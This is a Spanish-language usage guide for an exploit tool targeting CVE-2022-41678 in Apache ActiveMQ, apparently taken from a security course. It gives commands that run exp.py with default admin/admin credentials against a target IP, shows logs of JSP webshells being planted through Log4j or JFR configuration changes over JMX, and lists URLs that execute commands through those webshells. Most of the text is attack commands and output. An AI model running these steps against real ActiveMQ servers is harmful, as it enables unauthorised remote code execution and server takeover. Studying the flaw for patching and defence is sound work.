
CVE-2022-41678 es una vulnerabilidad de ejecución remota de código en Apache ActiveMQ. Esta vulnerabilidad permite a un atacante modificar la configuración de Log4j o la configuración de JFR (Java Flight Recorder) a través de la interfaz JMX (Java Management Extensions), escribiendo así un webshell JSP malicioso en el directorio web del servidor, logrando en última instancia la ejecución remota de código.
Documento de referencia: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 es una vulnerabilidad de ejecución remota de código en Apache ActiveMQ. Esta vulnerabilidad permite a un atacante modificar la configuración de Log4j o la configuración de JFR (Java Flight Recorder) a través de la interfaz JMX (Java Management Extensions), escribiendo así un webshell JSP malicioso en el directorio web del servidor y logrando finalmente la ejecución remota de código.
Esta vulnerabilidad afecta a múltiples versiones de Apache ActiveMQ; las versiones concretas afectadas dependen del uso de las configuraciones de Log4j y JFR.
pip install requests
Utilizando las credenciales predeterminadas admin/admin y el método de explotación detectado automáticamente:
python exp.py http://target:8161
También se puede especificar el nombre de usuario y la contraseña mediante los parámetros -u y -p:
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
Además del método de explotación Log4j utilizado por defecto, también se puede especificar el método JFR mediante el parámetro --exploit jfr.
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
Tras una explotación exitosa, se pueden ejecutar comandos accediendo a las siguientes URL:
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
Por ejemplo, para ejecutar el comando id:
http://target:8161/admin/shell.jsp?cmd=id
| Parámetro | Abreviatura | Tipo | Valor por defecto | Descripción |
|---|---|---|---|---|
--username | -u | Cadena | admin | Nombre de usuario de la consola de ActiveMQ |
--password | -p | Cadena | admin | Contraseña de la consola de ActiveMQ |
--exploit | -e | Cadena | auto | Método de explotación, valores posibles: auto, log4j, jfr |
url | - | Cadena | - | URL del ActiveMQ objetivo (parámetro obligatorio) |